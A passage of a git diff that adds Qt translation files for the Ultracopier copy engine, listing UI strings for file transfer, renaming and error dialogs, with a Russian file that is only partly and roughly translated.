+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/ru/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/ru/translation.ts
new file mode 100644
index 0000000..f53fff3
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/ru/translation.ts
@@ -0,0 +1,1293 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ru" sourcelanguage="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>Не поддерживается на этой платформе</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>Дата обновления неправильно</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>Дата последнего доступа не так</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished">Двигатель вынуждены покинуть свои дома, вы не можете скопировать с ним</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished">Двигатель вынужден копии, вы не можете двигаться вместе с ним</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished">назначение</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished">просить</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished">пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished">слияние</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished">переименовать</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished">Заменить, если новее</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished">Опции ошибке</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished">просить</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished">пропускать</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished">слияние</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished">переименовать</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished">Заменить, если новее</translation>
+ </message>
+ <message>
